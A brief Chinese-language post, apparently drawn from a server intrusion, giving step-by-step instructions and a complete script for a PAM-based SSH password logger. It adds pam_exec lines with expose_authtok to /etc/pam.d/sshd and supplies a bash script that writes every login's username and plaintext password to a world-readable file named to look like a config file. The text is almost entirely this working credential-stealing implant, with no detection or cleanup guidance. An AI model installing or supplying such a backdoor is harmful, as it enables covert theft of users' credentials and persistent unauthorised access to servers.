通過pam來記錄用戶輸入密碼

一次服務器被入侵分析學到

1.修改/etc/pam.d/sshd，添加

#voidrkflag
auth [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify.sh
password [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify.sh

添加可執行腳本/bin/pam_verify.sh

#!/usr/bin/env bash

# put next line in /etc/pam.d/sshd, then put this script as /bin/pam_verify.sh
# clear authorized_keys, then login via ssh, password will be recorded

# auth [default=ignore] pam_exec.so expose_authtok /bin/pam_verify.sh

recordfile=/etc/pamlog.conf

if [ ! -f $recordfile ];then
    touch $recordfile
    chmod 644 $recordfile
fi

# The password comes in through stdin
PAM_PASSWORD=`cat -`

echo "Service: ${PAM_SERVICE}; User: ${PAM_USER}; Password: ${PAM_PASSWORD}; Type: ${PAM_TYPE}" >> $recordfile